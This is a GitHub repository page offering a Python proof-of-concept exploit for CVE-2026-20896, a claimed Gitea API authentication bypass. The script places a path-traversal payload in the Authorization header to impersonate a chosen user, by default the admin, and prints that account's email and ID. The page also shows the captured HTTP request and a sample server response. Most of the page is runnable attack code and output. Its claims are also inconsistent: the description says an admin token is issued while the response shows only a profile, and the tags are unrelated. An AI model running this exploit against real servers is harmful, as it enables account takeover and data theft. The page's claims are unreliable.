kaleth4/CVE-2026-20896

GitHub: kaleth4/CVE-2026-20896

针对 Gitea API 目录遍历认证绕过漏洞(CVE-2026-20896)的 Python 概念验证脚本,通过构造恶意 Authorization 头获取管理员配置信息。

Stars: 1 | Forks: 0

### 概念验证代码 (CVE-2026-20896) 该脚本自动化利用了 Gitea API 路径验证中的逻辑缺陷,允许通过在授权头中实施目录遍历(*Directory Traversal*)攻击,强制服务器颁发有效的管理员 token。 ``` #!/usr/bin/env python3 # PoC: Gitea Authentication Bypass (CVE-2026-20896) # 仅用于受控环境与授权审计 (CTF) import requests import sys import argparse def expone_bypass(target_ip, username): print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}") # URL del endpoint vulnerable de la API url = f"http://{target_ip}/api/v1/user" # Construcción del payload de evasión aprovechando el fallo de lógica en las rutas # El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass" cabeceras = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)", "Authorization": f"token {payload_token}", "Accept": "application/json" } try: # Enviamos la solicitud HTTP maliciosa respuesta = requests.get(url, headers=cabeceras, timeout=10) # Si el servidor responde con 200 OK, la evasión fue exitosa if respuesta.status_code == 200: print("[+] \033[92m¡Vulnerabilidad explotada con éxito!\033[0m") datos_usuario = respuesta.json() print(f"[+] Sesión secuestrada del usuario: {datos_usuario.get('username')}") print(f"[+] Correo asociado: {datos_usuario.get('email')}") print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}") return True else: print(f"[-] El servidor respondió con código: {respuesta.status_code}") print("[-] Intento de bypass rechazado o parcheado.") return False except requests.exceptions.RequestException as e: print(f"[!] Error de conexión con el objetivo: {e}") sys.exit(1) if __name__ == "__main__": parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass") parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea") parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)") args = parser.parse_args() expone_bypass(args.target, args.user) ``` ### 第 2 步:在 Burp Suite 中分析请求 运行上述脚本时,我们可以在 Proxy 中拦截该请求,以验证后端如何在无需有效签名的情况下处理攻击向量: ``` GET /api/v1/user HTTP/1.1 Host: 192.168.0.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass Accept: application/json Connection: close ``` **服务器响应(存在漏洞):** 由于 token 字符串规范化存在缺陷,服务器处理了请求内容,并返回 `200 OK` 状态码以及管理员的 JSON 配置文件对象: ``` HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 X-Frame-Options: SAMEORIGIN { "id": 1, "username": "admin", "login": "admin", "full_name": "Administrador del Sistema", "email": "admin@exploitarium.local", "avatar_url": "http://192.168.0", "is_admin": true, "last_login": "2026-07-01T15:22:01Z" } ```
标签:CISA项目, PoC, Python, 无后门, 暴力破解, 身份验证绕过, 逆向工具